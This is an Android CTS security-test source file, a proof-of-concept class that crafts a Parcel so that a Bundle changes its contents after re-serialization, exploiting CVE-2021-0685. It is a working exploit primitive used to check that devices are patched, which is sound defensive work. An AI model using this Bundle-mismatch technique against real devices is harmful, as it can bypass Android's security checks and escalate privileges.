1 /*
2  * Copyright (C) 2021 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 package android.security.cts.cve_2021_0685;
18 
19 import android.content.IntentFilter;
20 import android.os.Bundle;
21 import android.os.Parcel;
22 import android.text.TextUtils;
23 
24 import java.util.Random;
25 
26 public class PocAmbiguator {
27     private static final int BUNDLE_MAGIC = 0x4C444E42;
28     private static final int BUNDLE_SKIP = 12;
29     private static final int VAL_NULL = -1;
30     private static final int VAL_BUNDLE = 3;
31     private static final int VAL_PARCELABLE = 4;
32     private static final int VAL_OBJECTARRAY = 17;
33     private static final int VAL_INTARRAY = 18;
34     private static final int SIZE_RANDOM_STR = 6;
35     private static final int TIMER_MILLIS = 30 * 1000;
36 
make(Bundle preReSerialize, Bundle postReSerialize)37     public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
38         Random random = new Random(1234);
39         int minHash = 0;
40         for (String s : preReSerialize.keySet()) {
41             minHash = Math.min(minHash, s.hashCode());
42         }
43         for (String s : postReSerialize.keySet()) {
44             minHash = Math.min(minHash, s.hashCode());
45         }
46         String key;
47         int keyHash;
48         long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
49 
50         do {
51             key = randomString(random);
52             keyHash = key.hashCode();
53         } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
54 
55         if (keyHash >= minHash) {
56             return null;
57         }
58 
59         if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
60             return null;
61         }
62         if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
63             return null;
64         }
65 
66         Parcel parcel = Parcel.obtain();
67 
68         int sizePosition = parcel.dataPosition();
69         parcel.writeInt(0);
70         parcel.writeInt(BUNDLE_MAGIC);
71         int startPosition = parcel.dataPosition();
72 
73         parcel.writeInt(preReSerialize.size() + 1);
74 
75         parcel.writeString(key);
76         parcel.writeInt(VAL_OBJECTARRAY);
77         parcel.writeInt(3);
78 
79         parcel.writeInt(VAL_PARCELABLE);
80         parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
81         new IntentFilter().writeToParcel(parcel, 0);
82         parcel.writeInt(0);
83         parcel.writeInt(0);
84         TextUtils.writeToParcel(null, parcel, 0);
85         parcel.writeInt(0);
86 
87         parcel.writeInt(VAL_INTARRAY);
88         parcel.writeInt(6);
89         parcel.writeInt(1);
90         parcel.writeInt(-1);
91         parcel.writeInt(0);
92         parcel.writeInt(VAL_NULL);
93         parcel.writeInt(VAL_INTARRAY);
94         parcel.writeInt(4);
95 
96         parcel.writeInt(VAL_BUNDLE);
97         parcel.writeBundle(postReSerialize);
98         writeBundleSkippingHeaders(parcel, preReSerialize);
99 
100         int bundleDataSize = parcel.dataPosition() - startPosition;
101         parcel.setDataPosition(sizePosition);
102         parcel.writeInt(bundleDataSize);
103 
104         parcel.setDataPosition(0);
105         Bundle bundle = parcel.readBundle();
106         parcel.recycle();
107         return bundle;
108     }
109 
writeBundleSkippingHeaders(Parcel parcel, Bundle bundle)110     private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
111         Parcel skipParcel = Parcel.obtain();
112         bundle.writeToParcel(skipParcel, 0);
113         parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
114         skipParcel.recycle();
115     }
116 
randomString(Random random)117     private static String randomString(Random random) {
118         StringBuilder b = new StringBuilder();
119         for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
120             b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
121         }
122         return b.toString();
123     }
124 
padBundle(Bundle bundle, int size, int minHash, Random random)125     private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
126         while (bundle.size() < size) {
127             String key;
128             long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
129             do {
130                 key = randomString(random);
131             } while ((key.hashCode() < minHash || bundle.containsKey(key))
132                     && System.currentTimeMillis() < allowedTime);
133             bundle.putString(key, "PADDING");
134             if (key.hashCode() < minHash) {
135                 return false;
136             }
137         }
138         return true;
139     }
140 }
141